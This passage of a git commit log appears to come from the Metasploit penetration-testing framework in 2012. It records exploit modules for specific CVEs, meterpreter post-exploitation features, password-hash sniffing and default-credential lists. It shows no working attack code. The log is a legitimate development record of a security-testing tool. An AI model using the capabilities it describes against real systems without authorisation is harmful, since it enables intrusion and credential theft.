Date:   Fri Mar 16 09:17:35 2012 -0400

    fix

commit 61ce7b587d
Author: ohdae <bindshell@live.com>
Date:   Fri Mar 16 09:14:48 2012 -0400

    saves each config to loot instead of notes

commit f4713974fa
Author: James Lee <egypt@metasploit.com>
Date:   Fri Mar 16 03:46:10 2012 -0600

    Check for a 0 prefix length

    If the OnLinkPrefixLength is 0, something is wrong, try the value in the
    prefix linked list.  Appears to fix v4 addresses on XP but not 2k3.

    [See #6525]

commit cde7fcc012
Author: James Lee <egypt@metasploit.com>
Date:   Fri Mar 16 01:46:41 2012 -0600

    Return network prefixes when available

    Solves #6525 on Vista+.  Win2k still works using the old MIB method
    (which doesn't support ipv6).  Win2k3 and XP are still busted for
    unknown reasons.

commit 98bd9a7bd0
Author: ohdae <bindshell@live.com>
Date:   Thu Mar 15 22:59:42 2012 -0400

    Enumerate important and interesting configuration files

commit 9336df2ac2
Author: David Maloney <David_Maloney@rapid7.com>
Date:   Thu Mar 15 19:06:48 2012 -0500

    More Virtualisation SSL fixes

commit f24c378281
Author: David Maloney <David_Maloney@rapid7.com>
Date:   Thu Mar 15 18:15:29 2012 -0500

    Default SSL to true for esx_fingerprint module

commit d6e14c4212
Author: sinn3r <msfsinn3r@gmail.com>
Date:   Thu Mar 15 15:56:24 2012 -0500

    Fix typo

commit b24dcfe43e
Author: sinn3r <msfsinn3r@gmail.com>
Date:   Thu Mar 15 15:55:54 2012 -0500

    Add sockso dir traversal

commit 033052c1e0
Author: James Lee <egypt@metasploit.com>
Date:   Thu Mar 15 14:31:25 2012 -0600

    Fix syntax error in 1.8, thanks Jun Koi for the patch

commit 4529efaeaa
Author: sinn3r <msfsinn3r@gmail.com>
Date:   Thu Mar 15 14:27:40 2012 -0500

    enum_protections is now find_apps

commit 49e823802b
Author: sinn3r <msfsinn3r@gmail.com>
Date:   Thu Mar 15 14:22:23 2012 -0500

    File rename, as well as design and cosmetic changes

commit ccf6b01114
Author: ohdae <bindshell@live.com>
Date:   Thu Mar 15 15:29:52 2012 -0300

    added report_note, removed store_loot function, cleaned up info/author

commit 27d571932e
Author: ohdae <bindshell@live.com>
Date:   Thu Mar 15 12:18:29 2012 -0300

    fixed output newline issue

commit 5a828e35d1
Author: ohdae <bindshell@live.com>
Date:   Thu Mar 15 01:05:35 2012 -0300

    fixed save line

commit 805c2ee987
Author: ohdae <bindshell@live.com>
Date:   Thu Mar 15 01:02:07 2012 -0300

    removed unneeded comments

commit 5861e1512f
Author: ohdae <bindshell@live.com>
Date:   Thu Mar 15 01:00:55 2012 -0300

    fixed output issue

commit 593a364811
Author: ohdae <bindshell@live.com>
Date:   Wed Mar 14 18:26:53 2012 -0300

    removed unneeded dependency

commit 05053e6e74
Author: ohdae <bindshell@live.com>
Date:   Wed Mar 14 13:30:16 2012 -0400

    locates installed 3rd part av, fws, etc

commit 5bf512d0e9
Author: sinn3r <msfsinn3r@gmail.com>
Date:   Wed Mar 14 16:50:54 2012 -0500

    Add OSVDB-79863 NetDecision Directory Traversal

commit 18715d0367
Author: James Lee <egypt@metasploit.com>
Date:   Wed Mar 14 23:03:01 2012 -0600

    Store the retrieved commands on the session

commit b752cb8b31
Author: James Lee <egypt@metasploit.com>
Date:   Wed Mar 14 22:45:16 2012 -0600

    Retrieve the list of new commands

    The client side doesn't do anything with them yet

commit 69ce8ef42d
Author: James Lee <egypt@metasploit.com>
Date:   Wed Mar 14 22:41:16 2012 -0600

    Return a list of the new commands in response to core_loadlib

    Linux

commit 354c754aa4
Author: James Lee <egypt@metasploit.com>
Date:   Wed Mar 14 15:13:45 2012 -0600

    Whitespace at EOL

commit 4afcb4cb9d
Author: James Lee <egypt@metasploit.com>
Date:   Wed Mar 14 14:30:09 2012 -0600

    Create instance methods that return extensions

    Before this change, meterpreter sessions would not #respond_to? their
    extensions despite having a pseudo-accessor for them:
    ```
    >> client.respond_to? :sys
    => false
    >> client.sys
    => #<Rex::Post::Meterpreter::ObjectAliases:0x0000000e263488 @aliases={"config"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Config:0x0000000e268dc8 @client=#<Session:meterpreter 192.168.99.1:55882 (192.168.99.1) "uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000 @ wpad">>, "process"=>#<Class:0x0000000e268d20>, "registry"=>#<Class:0x0000000e266da0>, "eventlog"=>#<Class:0x0000000e2654e8>, "power"=>#<Class:0x0000000e263c30>}>

    ```

    After:
    ```
    >> client.respond_to? :sys
    => true
    ```

commit 70ab8c018f
Merge: a8a3938 5f2bace
Author: James Lee <egypt@metasploit.com>
Date:   Tue Apr 3 11:46:25 2012 -0600

    Merge branch 'master' into bap-refactor

    Conflicts:
    	external/source/exploits/CVE-2012-0507/Help.java
    	external/source/exploits/CVE-2012-0507/Makefile
    	external/source/exploits/CVE-2012-0507/msf/x/Help.java
    	external/source/exploits/CVE-2012-0507/src/a/Exploit.java
    	external/source/exploits/CVE-2012-0507/src/a/Help.java

commit a8a3938915
Author: James Lee <egypt@metasploit.com>
Date:   Thu Mar 29 20:20:21 2012 -0600

    Deal with null data/jar

    Not sure why "" turns into null sometimes, but it was breaking shells;
    this fixes it.

commit 5e5eb39d3c
Author: James Lee <egypt@metasploit.com>
Date:   Thu Mar 29 18:10:59 2012 -0600

    Prev commit moved these to src/a

commit 5074eadbea
Author: James Lee <egypt@metasploit.com>
Date:   Thu Mar 29 18:08:32 2012 -0600

    Make building the jar for cve-2012-0507 a bit easier

    Mostly stolen from cve-2008-5353

commit bdb3fbe7fd
Author: James Lee <egypt@metasploit.com>
Date:   Thu Mar 29 14:52:23 2012 -0600

    Fix incorrect option name

commit 78824ef600
Author: James Lee <egypt@metasploit.com>
Date:   Thu Mar 29 13:24:33 2012 -0600

    Add the detected browser version to the DOM

    Doing it this way lets modules grab the info a bit more easily.

commit 9813ccb8d6
Merge: 0faa3f6 b5fc8e4
Author: James Lee <egypt@metasploit.com>
Date:   Thu Mar 29 13:19:05 2012 -0600

    Merge branch 'master' into bap-refactor

commit 0faa3f6524
Author: James Lee <egypt@metasploit.com>
Date:   Wed Mar 28 15:36:20 2012 -0600

    Add bap support to java_rhino

commit 66ca27f994
Author: James Lee <egypt@metasploit.com>
Date:   Wed Mar 28 15:35:16 2012 -0600

    Put next_exploit on the window object so it's always in scope

    Solves some issues with Chrome not running more than one exploit

commit 7fc2ca1a06
Merge: 325d306 e48c47e
Author: James Lee <egypt@metasploit.com>
Date:   Wed Mar 28 15:10:54 2012 -0600

    Merge branch 'master' into bap-refactor

commit 325d306059
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 27 14:31:53 2012 -0600

    Pull common stuff up out of the body

commit 4f2b3260bf
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 27 11:04:03 2012 -0600

    Fix indentation level

commit 9b905c53b4
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 27 11:02:42 2012 -0600

    Abstract out copy-pasted methods

    Need to do the same thing for OSX, but it's a different implementation.
2012-05-15 17:00:02 -06:00
MM 55bb7abc89 Squashed commit of the following:
commit 2027502c5c
Author: MM <gaspmat@gmail.com>
Date:   Thu Mar 22 18:12:07 2012 +0100

    link type must be signed, because dlt_to_linktype can return -1

commit 86027ea77d
Author: MM <gaspmat@gmail.com>
Date:   Wed Mar 21 16:03:58 2012 +0100

    enable sniffing on any type of interface

commit df6eef1214
Author: MM <gaspmat@gmail.com>
Date:   Tue Mar 20 18:01:50 2012 +0100

    ps support for linux meterpreter

[Closes #254]
2012-05-15 16:58:18 -06:00
MM 5d7190e8cb Squashed commit of the following:
commit df6eef1214
Author: MM <gaspmat@gmail.com>
Date:   Tue Mar 20 18:01:50 2012 +0100

    ps support for linux meterpreter

[Closes #250]
2012-05-15 16:57:17 -06:00
James Lee 406661f620 Better object for FF6 2012-05-15 16:42:53 -06:00
James Lee 740c493be2 Add a Windows Mobile fingerprint 2012-05-15 16:29:17 -06:00
Christian Mehlmauer 19e32c210a Added more references 2012-05-15 23:59:30 +02:00
Christian Mehlmauer 46e58f8618 Ruby naming style 2012-05-15 23:53:33 +02:00
Christian Mehlmauer 5f0075e24f Revert API change 2012-05-15 23:28:51 +02:00
Christian Mehlmauer 37d6af7633 Revert API change 2012-05-15 23:25:56 +02:00
James Lee 4acb627d13 Add more detections for newer Firefox
Object detections are not extensively tested, but everything came from
the "Firefox for developers" series of documents from
developer.mozilla.org; thanks to Artur Szymczak for prompting this
update.

[Fixes #6860]
2012-05-15 14:58:18 -06:00
Tod Beardsley f5698f4bdc Msftidy on mozilla_attribchildremoved.rb
was executable, had bad spacing.
2012-05-15 15:45:07 -05:00
Tod Beardsley 82885cc6e5 Fixing author tags
Ensuring a space between name and email.
2012-05-15 15:45:07 -05:00
Tod Beardsley 898398fd54 Fixing author tags
Ensuring a space between name and email.
2012-05-15 15:43:53 -05:00
Tod Beardsley 9b3f602910 Msftidy on mozilla_attribchildremoved.rb
was executable, had bad spacing.
2012-05-15 15:39:30 -05:00
James Lee ee84195bdb Add fingerprint for latest Ubuntu build 2012-05-15 13:09:13 -06:00
James Lee bc6ec537f9 Fix a ruby 1.8 compat error
Can't have commas at the end of argument lists.
2012-05-15 11:53:49 -06:00
Christian Mehlmauer b298597218 Switched to Http Library, Code formatting issues 2012-05-15 19:43:28 +02:00
Tod Beardsley 64270ea7c2 Adding default user/pass for CCTV module
User/pass combos that come from manuals and independant research.
2012-05-15 08:14:28 -05:00
Tod Beardsley 4ee24f7e42 Adding Justin's CCTV module. 2012-05-15 08:03:39 -05:00
sinn3r 8b06835109 Make changes to proper API usage, whitespace, and extra characters. 2012-05-15 01:26:42 -05:00
sinn3r 3c683fcf99 Merge branch 'pyoor' of https://github.com/pyoor/metasploit-framework into pyoor-pyoor 2012-05-15 01:20:01 -05:00
sinn3r d54a228f65 Correct version number 2012-05-15 01:16:41 -05:00
Brandon Perry c4052b3f6c add missing import methods? 2012-05-14 21:03:37 -05:00
pyoor a8b534ddec Cisco Secure ACS Module - Updated error handling 2012-05-14 20:03:26 -04:00
pyoor 2e49e56126 Made suggested changes 2012-05-14 19:50:34 -04:00
Brandon Perry 1beaeb8e2f OpenVAS import functionality. See qa/sample_data for two openvas reports. 2012-05-14 18:40:08 -05:00
sinn3r 06b12bcd7d Merge pull request #385 from brandonprry/wapiti_report
Wapiti XML report import
2012-05-14 16:02:03 -07:00
sinn3r 6bbf018423 Fix bug #6815: A race condition that results in an invalid handle.
Under certain conditions, the module may run into an "The handle
is invalid" while obtaining registry keys and values from the
victim machine.  The fix is to retry a couple of times, and hope
we don't hit the race condition again.
2012-05-14 17:44:35 -05:00
HD Moore 3033838909 Correct reflective DLL references 2012-05-14 15:17:03 -05:00
sinn3r 84269f399b Correct EDB reference 2012-05-14 15:10:21 -05:00
sinn3r f4a446a6c1 Add module CVE-2011-4404 2012-05-14 15:08:43 -05:00
root 5aeab77499 fix tabs that I missed in db.rb 2012-05-14 07:26:37 -07:00
sinn3r d17b07a6e1 Merge pull request #387 from swtornio/master
add osvdb refs
2012-05-14 07:26:28 -07:00
Steve Tornio 7690e86a89 add osvdb ref 2012-05-14 07:14:10 -05:00
Steve Tornio bcfa96ced8 add osvdb ref 2012-05-14 07:13:49 -05:00
sinn3r 0b817944c3 Merge pull request #386 from jlee-r7/fix-posix-execute
Fix posix execute
2012-05-13 16:17:34 -07:00
sinn3r 2e8b11ca78 Merge pull request #383 from rsmudge/armitage
Armitage 05.14.12
2012-05-13 16:15:59 -07:00
root 99a5d1a7b5 fix :pname in the web_vuln_info hash to no include the parameter value 2012-05-13 14:43:02 -07:00
James Lee ecb106d714 throw is not the same as raise
Clearly this code never gets called.
2012-05-13 15:31:57 -06:00
root 2906686da1 forgot to git add db.rb. oops 2012-05-13 14:30:27 -07:00
root d5cec05cc3 fix tabs 2012-05-13 14:28:50 -07:00
root 253802761f Remove extraneous puts 2012-05-13 14:19:19 -07:00
root d0f49c1213 Finished! Importing wapiti now adds Mdm::WebVulns to the db.
However, I see no way to actually seeing the webvulns in framework
after importing the report.
2012-05-13 13:58:25 -07:00
James Lee 73331b66e6 Fix execution with spaces in args by using sh -c
In posix, a command like "echo 'foo bar'" would previously get parsed
out into arguments for execve like [ "echo", "'foo", "bar'" ] which
obviously isn't what you want. After this commit, it sticks the whole
thing in an arg to sh so the execve call ends up looking like
  execve("/bin/sh", ["sh", "-c", "echo 'foo bar'"], [/* 26 vars */]) = 0
This is still a little less than ideal because shell escapes become a
problem; fortunately, that's easy to deal with on the client side as
long as module developers take it into account.
2012-05-13 14:55:57 -06:00
pyoor 6b6dc60b25 Cisco Secure ACS Auth Bypass Module 2012-05-13 16:16:18 -04:00
Christian Mehlmauer dc10fac885 Ported my Hashcollision Script to Ruby 2012-05-13 20:59:42 +02:00
sinn3r 79a590ccf7 Merge pull request #380 from wchen-r7/bmerinofe-telnet_ruggedcom
Modified version of pull request #379 - RuggedCom Telnet Password Generator by bmerinofe
2012-05-13 11:13:27 -07:00
Brandon Perry b0b72b05d5 Adding the beginning of the wapiti report import nokogiri document 2012-05-13 13:02:48 -05:00
Raphael Mudge c7b9b711f1 Armitage 05.14.12
This release SSL-enables the red team collaboration architecture, adds several keyboard
shortcuts and it improves the workflow for viewing downloaded files/loots.
2012-05-13 13:56:10 -04:00
sinn3r d2c26f989c Cleanup whitespace 2012-05-13 04:42:22 -05:00
sinn3r c1fbf1f931 Merge branch 'mozilla_attribchildremoved' of https://github.com/corelanc0d3r/metasploit-framework into corelanc0d3r-mozilla_attribchildremoved 2012-05-13 04:37:49 -05:00
Peter Van Eeckhoutte (corelanc0d3r) dd42c3096e added exploit for Firefox 8&9 AttributeChildRemoved UAF 2012-05-13 11:31:46 +02:00
sinn3r 15fbb1e86c This the modified version of pull request #379. Changes include:
* Add more references
* Update description
* MSF license disclaimer
* Remove the to() function. Instead it's in run_host()
* Put 'info' in the :proof key
* Remove ::Exception handling, so we can see the original that's also logged in framework.log
2012-05-13 04:09:17 -05:00
James Lee e2bf3c5750 throw is not the same as raise
Clearly this code never gets called.
2012-05-12 16:53:54 -06:00
Tod Beardsley bc1c9a7fe4 Prepend all messages with victim host:port
Redefining print_status locally to handle this. Seems like an easy way
to do this kind of thing for a particular module.

[Closes #272]
2012-05-11 17:48:54 -05:00
Tod Beardsley ab655677b4 Fixed typo, converted to OptEnum for fakedns targetaction 2012-05-11 17:12:31 -05:00
Jose Selvi af71cdafe2 Update modules/auxiliary/server/fakedns.rb 2012-05-11 17:01:14 -05:00
Jose Selvi 1d6b2eb3fe Added TARGETACTION options and wildcard support 2012-05-11 17:01:13 -05:00
sinn3r 5d8fbefc3d Merge pull request #378 from wchen-r7/distinct
Add OSVDB-80984 - Distinct TFTP Directory traversal
2012-05-11 13:14:19 -07:00
sinn3r 653d7e5923 Add OSVDB-80984 2012-05-11 15:07:31 -05:00
Jeff Jarmoc c2c160f86c randomizes options from equivilants 2012-05-11 11:31:26 -05:00
Tod Beardsley aa3930fcb9 Typo on fixed tftp module 2012-05-10 21:42:33 -05:00
Tod Beardsley 36c805c5ff Move the context setting to the module
Apparently you can't hit the framework object before running the module
any more. Bummer.

[Fixes #6843]
2012-05-10 21:21:32 -05:00
sinn3r 7eabce8872 Add comment for PrependEncoder 2012-05-10 12:18:50 -05:00
sinn3r 2b13330483 Merge pull request #376 from wchen-r7/wikkawiki
Add CVE-2011-4449
2012-05-10 10:13:56 -07:00
sinn3r 6e8c3ad1e3 It's "inject", not "upload"... because technically that's what really happens. 2012-05-10 12:06:02 -05:00
sinn3r c69e34d407 Update description 2012-05-10 12:02:55 -05:00
sinn3r 86c3ad5e0c Add CVE-2011-4449 2012-05-10 11:57:40 -05:00
Jeff Jarmoc e1156834b9 Lots of encoding randomizations for php_cgi_arg_injection 2012-05-09 14:13:21 -05:00
Tod Beardsley 65800f7c6e Whitespace on solarwinds 2012-05-09 12:47:22 -05:00
Jeff Jarmoc 4909d8073a Added lots or encoding randomness 2012-05-09 11:01:15 -05:00
sinn3r b29f2265f5 Merge pull request #369 from jlee-r7/psnuffle-cleanup
Psnuffle cleanup
2012-05-08 20:24:47 -07:00
James Lee 7a05f3eab4 Mark failed logins as inactive 2012-05-08 16:51:22 -06:00
James Lee 318b14af4c Fix improper reporting and stack traces when we missed a banner
Also makes sure we delete the session if we got a 221 response, even if
we haven't seen a login yet.
2012-05-08 16:40:56 -06:00
James Lee 1eec1cebb5 Fix improper reporting
:proto is always tcp, udp, etc., name is the higher layer name
2012-05-08 16:39:32 -06:00
James Lee 536fa39ae8 Keep the client and the server on tracked tcp sessions 2012-05-08 16:38:12 -06:00
James Lee 88b35a32e5 Make permissions consistent 2012-05-08 13:50:43 -06:00
James Lee 421630ef85 Binaries with fixed timestamps
[See #304]
2012-05-08 13:49:35 -06:00
Michael Schierl 5bf03aff7d Squashed commit of the following:
commit db8a4fe575ec09607036ae5550adb83b345d9f2c
Author: Michael Schierl <schierlm@gmx.de>
Date:   Wed Apr 11 00:41:51 2012 +0200

    Ensure the manifest is always at the beginning of the JAR files

    Might create strange errors when loading stdapi if not.

commit fc02de4e36b3b952e256885d277e9c8e91f8f065
Author: Michael Schierl <schierlm@gmx.de>
Date:   Wed Apr 4 23:20:20 2012 +0200

    Change the build file so that it generates fixed timestamps inside meterpreter.jar / ext_server_stdapi.jar

[Closes #304]
2012-05-08 13:48:21 -06:00
Alexandre Maloteaux 452cead1e9 Merge psnuffle ntlmv2 support from Alex Malateaux
Testing this with smbclient requires setting "client ntlmv2 auth = yes"
in /etc/samba/smb.conf

Squashed commit of the following:

commit 7acc32f5f00914fed355a080ca237543448f80ca
Author: Alexandre Maloteaux <a.maloteaux@gmail.com>
Date:   Thu Apr 12 01:52:49 2012 +0100

    psnuffle : move protocol filtering in load function

commit 9c9ae9711c760b4f072271b7e5993f9bf8366671
Author: Alexandre Maloteaux <a.maloteaux@gmail.com>
Date:   Thu Apr 12 01:50:48 2012 +0100

    psnuffle : add hash exctratiopn from smbv2 session

[Closes #327]
2012-05-08 13:41:42 -06:00
Tod Beardsley 86500aad47 Author is always singular. 2012-05-08 08:47:52 -05:00
sinn3r 91a8ff2766 Use print_good when SQL injection is found 2012-05-08 01:30:13 -05:00
sinn3r fa9d23d839 When a blind SQL injection, it's a good thing (for the attacker), so we should use print_good 2012-05-08 01:26:39 -05:00
sinn3r ce16ab662c Cosmetic changes. Also lower the rank for now, because I picked up a state where it can be less stable. 2012-05-08 00:22:19 -05:00
sinn3r 22585ad935 Merge branch 'firefox_exploit' of https://github.com/lincoln-corelan/metasploit-framework into lincoln-corelan-firefox_exploit 2012-05-08 00:00:03 -05:00
lincoln-corelan b8227b8a2e Firefox Exploit 2012-05-07 19:41:03 -07:00
sinn3r 122a3b7848 Merge pull request #366 from rsmudge/armitage
give source code a correct home.
2012-05-07 13:53:07 -07:00
HD Moore 6bd0e6ef80 Merge pull request #365 from rsmudge/armitage
include armitage source in MSF tree.
2012-05-07 08:38:30 -07:00
HD Moore 8ac11e6054 Merge pull request #364 from jlee-r7/php-meterp-improvements
Php meterp improvements
2012-05-07 00:46:17 -07:00
HD Moore 1cf0e555c8 Merge pull request #363 from rsmudge/armitage
Armitage 05.07.12
2012-05-07 00:44:44 -07:00
HD Moore 1a30e221a0 See #362 by changing the exitfunc arguments to be the correct type 2012-05-07 02:42:29 -05:00
HD Moore f6c88377f4 Fixes #362 by changing the exitfunction arguments to be the correct type 2012-05-07 02:41:08 -05:00
James Lee 7ef965da45 Add md5 and sha1 support to php meterp 2012-05-07 01:01:08 -06:00
James Lee af6589b725 Add mkdir and rmdir support for PHP
I swear I've written this code before, i wonder where git hid it.
2012-05-07 00:41:05 -06:00
James Lee 3a25658511 Add a test for doing md5 and sha1 of remote files 2012-05-06 23:40:52 -06:00
James Lee cf664eb68f Fix the test for having an iface w/an ip matching session_host
ifaces can have multiple addresses, loop through all of 'em.
2012-05-06 23:33:40 -06:00
Raphael Mudge 24a9cd92a6 give source code a correct home. 2012-05-06 01:52:16 -04:00
Raphael Mudge 2012057098 include armitage source in MSF tree. 2012-05-05 15:48:08 -04:00
sinn3r da50bf90d8 Merge pull request #361 from swtornio/master
add osvdb refs
2012-05-05 11:49:20 -07:00
Raphael Mudge 5b688124a2 Armitage 05.07.12
This release overhauls Armitage's collaboration architecture and
introduces several requested improvements:

1. Users may now resize the description field in the module launch dialog
2. Users may now change where Armitage saves its logs to
3. Added Ctrl+D keyboard shortcut to quickly close the active tab.
2012-05-05 14:20:41 -04:00
Steve Tornio ba4ae384d7 add osvdb ref 2012-05-05 10:14:07 -05:00
Steve Tornio cef2da6110 add osvdb ref 2012-05-05 10:13:42 -05:00
Steve Tornio 92e07aab12 Add osvdb ref 2012-05-05 10:13:18 -05:00
James Lee 18a44148dc Randomize case for ini true/false values 2012-05-04 17:32:32 -06:00
sinn3r 9c3d2355b1 Allow this module to be more verbose for future debugging 2012-05-04 15:47:30 -05:00
sinn3r f48d36ca31 Output changes. #6511 2012-05-04 15:11:54 -05:00
sinn3r 454a20b079 Fix bug #6438 2012-05-04 14:52:27 -05:00
sinn3r 457ca44f27 Fix #6511 2012-05-04 14:33:49 -05:00
sinn3r babababeb1 1. Fix enum_dns: .txt is not (or no longer a method)
2. Patch snmp_enum: bug #6500
2012-05-04 13:23:27 -05:00
sinn3r 8b3b952ccd Fix bug #6761 - false negative when OWA brings the user to the Options page insetad of inbox 2012-05-04 12:30:43 -05:00
HD Moore 423437c620 Woops, small typo in disable_functions 2012-05-04 12:17:41 -05:00
HD Moore c6b39e8e5c Add additional definitions to disable safe_mode, open_basedir, suhosin. (thanks @i0n1c) 2012-05-04 12:15:46 -05:00
sinn3r 69b60b88f8 Fix bug #6801: Error handling for get_imperstoken() 2012-05-04 11:44:05 -05:00
sinn3r 4f2226e3b9 Make sure vim_index_array is actually an array before doing the delete_if. Bug #6809 2012-05-04 11:26:03 -05:00
HD Moore 2ce3558bb4 Bump the rank 2012-05-04 10:19:37 -05:00
HD Moore bed4846763 A little more module cleanup 2012-05-04 10:06:18 -05:00
HD Moore d668e2321d Rename this to a more suitable location 2012-05-04 09:59:40 -05:00
HD Moore 6cf6a9548d Fix up the PHP CGI exploit, remove debug lines 2012-05-04 09:58:10 -05:00
sinn3r d5d35551ab Add EDB reference 2012-05-04 00:11:29 -05:00
sinn3r 6d5ceb07b6 Merge pull request #359 from wchen-r7/solarwinds_storage_manager_sql
Add Solarwinds Storage Manager 5.1.0 SQL Injection (code execution)
2012-05-03 22:02:12 -07:00
sinn3r 9a36017271 no unicode 2012-05-04 00:01:03 -05:00
sinn3r 25b11a02b5 Update the comment for check() 2012-05-03 20:37:36 -05:00
sinn3r 4bf674ece6 Pff, and of course, I had to make a typo on that one 2012-05-03 20:34:52 -05:00
sinn3r 1a4d3f849c A little change to the description 2012-05-03 20:33:28 -05:00
sinn3r 1cdc376f2b Merge branch 'msfvenom_nomethoderror' of https://github.com/silviupopescu/metasploit-framework into silviupopescu-msfvenom_nomethoderror 2012-05-03 20:29:06 -05:00
sinn3r 7ca69f00b0 Add Solarwinds Storage Manager 5.1.0 SQL Injection (code execution) 2012-05-03 20:24:42 -05:00
James Lee 2d1f4d4f3e Add hdm's better check method 2012-05-03 19:00:40 -06:00
James Lee 40ec3d9d40 Add an exploit module for the recent php cgi bug (CVE-2012-1823) 2012-05-03 18:51:54 -06:00
Silviu-Mihai Popescu 605e1929e4 Fixed msfvenom NoMethodError with alpha_mixed encoder.
The issue was reported on Github[1] and Redmine[2].

The error consisted of trying to use the supports?() method
on an Array instead of a PlatformList.

[1] https://github.com/rapid7/metasploit-framework/issues/357
[2] http://dev.metasploit.com/redmine/issues/6826

Reported by: Brandon Perry
Signed off by: Silviu Popescu <silviupopescu1990@gmail.com>
2012-05-03 17:47:25 +03:00
HD Moore 5151a4c530 Cosmetic 2012-05-03 00:33:09 -05:00
HD Moore 99d7b2601c Cosmetic 2012-05-03 00:31:50 -05:00
Tod Beardsley 43d730d564 Squashed commit of minor cosmetic fixes:
commit eed15ea9ecc88683c8d922fe155d4777a7ce1286
Author: Tod Beardsley <todb@metasploit.com>
Date:   Wed May 2 21:55:56 2012 -0500

    Whitespace at EOL. Dangit.

commit 8159b27728d1a4fd0ad94ff56c4b4f2b995646f8
Author: Tod Beardsley <todb@metasploit.com>
Date:   Wed May 2 16:38:01 2012 -0500

    Disambiguating 'WebCalendar'
2012-05-02 21:57:41 -05:00
James Lee dd7bc23d16 Whitespace 2012-05-02 18:06:39 -06:00
sinn3r c26dff4cff Clear whitespace 2012-05-01 17:29:27 -05:00
James Lee 1c03c2b157 Fix indentation 2012-05-01 15:21:42 -06:00
James Lee 194c0906c2 Fix a stack trace when SMBUser is nil 2012-05-01 15:21:42 -06:00
James Lee 6ab66dc59e Fix a stack trace when the SMBUser isn't set
For some reason an invalid user/pass don't seem to trigger
STATUS_ACCESS_DENIED responses, but an empty user does.
2012-05-01 15:21:42 -06:00
Alexandre Maloteaux d68d832c9d Squashed commit of the following:
commit a0b50c394962fc90afc8d6232e1875588ed7ecb3
Author: Alexandre Maloteaux <a.maloteaux@gmail.com>
Date:   Fri Apr 20 01:45:06 2012 +0100

    enumshare: add srvsvc netshareenum request for compatibility with win 7 / 2008r2

[Closes #346]
2012-05-01 15:21:42 -06:00
Tod Beardsley c27fb73b53 Removing temp test dir for git user training 2012-05-01 16:13:00 -05:00
Tod Beardsley 63934fc368 Adding another test file (ignore)
[Closes #356]
2012-05-01 16:03:52 -05:00
Tod Beardsley 06926a30b4 Merge remote branch 'mcfakepants/new_test_file' 2012-05-01 15:59:37 -05:00
Fakey McFakepants 7e969a9849 Adding a new file to test/git.txt 2012-05-01 15:42:47 -05:00
Tod Beardsley 4cdef9ab4c Adding a file to the Git Repo (ignore)
This file will be edited a few times then removed. It is here just for
GitHub user training for metasploit developers.
2012-05-01 13:14:06 -05:00
sinn3r 3e72f555ae Forgot... I don't need to print the client's IP manually anymore 2012-05-01 12:56:03 -05:00
sinn3r 3099236059 We no longer have to print the client's IP, because it's now a built-in feature. 2012-05-01 12:47:55 -05:00
sinn3r 094e7d0327 Merge branch 'cve-2012-1775_vlc_mms_bof' of https://github.com/juanvazquez/metasploit-framework into juanvazquez-cve-2012-1775_vlc_mms_bof 2012-05-01 12:27:10 -05:00
HD Moore bbca2c4649 Remove reference to missing dispatch_ninja 2012-05-01 10:31:18 -05:00
juan 01b0d85526 module for cve-2012-1775 added 2012-05-01 16:39:30 +02:00
HD Moore a9dd2f49d7 Bump versions to 4.4.0-dev 2012-05-01 00:43:06 -05:00
HD Moore 172456b680 Fix a mangled merge that prevent imported vulns from being registered in some cases 2012-05-01 00:35:44 -05:00
HD Moore 9988d6a430 Tabs. Sweet sweet tabs 2012-05-01 00:35:01 -05:00
HD Moore 0367b7b3f2 Fix a mangled merge that prevent imported vulns from being registered in some cases 2012-05-01 00:35:01 -05:00
David Maloney 82b8042d2d Fix an error condition with the afp server info module
Better exception handling is probably needed for the entire thing
2012-04-30 18:29:44 -05:00
sinn3r 5fec29e6b7 Add McAfee Virtual Technician ActiveX MVTControl vulnerability 2012-04-30 16:23:52 -05:00
sinn3r fd2e4c12a2 Fix possible "can't convert Fixnum into String" error 2012-04-30 13:49:53 -05:00
David Maloney 348da8e5a6 Fixes an issue with mysql probes not timing out properly. 2012-04-30 12:22:49 -05:00
HD Moore e12c29a5dc Fix up the check so it doesn't throw a marshal exception 2012-04-29 18:40:01 -05:00
HD Moore ffd91793b9 Make RMI easier to correlate, add a vulnerability check to the scanner module 2012-04-29 18:11:28 -05:00
sinn3r 46ad599673 Add CVE-2012-1495 WebCalendar settings.php code injection 2012-04-28 02:32:04 -05:00
Tod Beardsley 7904fe5bba Fixes load error for post/multi/general/execute.rb
Need to require 'msf/core/post/common' before including
Msf::Post::Common
2012-04-27 20:16:24 -05:00
David Maloney f1cd488f19 Overrirdes the autofilter results from the HTTPServer mixin for the rmi
exploit
2012-04-27 15:22:40 -05:00
HD Moore 67fe5b775a Bump this up 2012-04-27 01:23:40 -05:00
HD Moore ec831a1658 Smarter RMI class loader logic 2012-04-27 01:02:18 -05:00
HD Moore 4c2e1c2859 Small updates to the rmi modules 2012-04-27 00:07:00 -05:00
sinn3r 63ed7fcc8f Whitespace, be gone! 2012-04-26 02:38:29 -05:00
sinn3r d985ba5e5d Clean up whitespace 2012-04-26 02:36:29 -05:00
sinn3r 91763dd063 Fix 1.8 compatibility 2012-04-25 15:54:42 -05:00
sinn3r cc76438a75 Merge branch 'jlee-r7-http-print-standardization' 2012-04-25 15:38:46 -05:00
sinn3r 711fb73048 Fix more print_* 2012-04-25 15:01:50 -05:00
sinn3r f77efbf89e Change the rest of print_* 2012-04-25 14:24:17 -05:00
sinn3r 9189dea4e4 Merge branch 'http-print-standardization' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-http-print-standardization 2012-04-25 13:53:30 -05:00
HD Moore 4a8068905f Add a generic execute module and update migrate to handle a process name too 2012-04-25 12:40:20 -05:00
HD Moore 2a5a80a485 Rename and updates 2012-04-25 12:09:23 -05:00
HD Moore 03117ffa95 Add a version scanner for RMI 2012-04-25 11:24:28 -05:00
sinn3r 5bebd01eb0 Tabs vs spaces war round 2 2012-04-24 16:06:08 -05:00
sinn3r bc42375565 Fix spaces to proper hard tabs. Not very fun to do. 2012-04-24 16:03:41 -05:00
sinn3r 0671fc9ea1 Merge branch 'axis2_mods' of https://github.com/ChrisJohnRiley/metasploit-framework into ChrisJohnRiley-axis2_mods 2012-04-24 15:49:34 -05:00
sinn3r 9c9b74cae2 Small change with the description 2012-04-24 15:47:31 -05:00
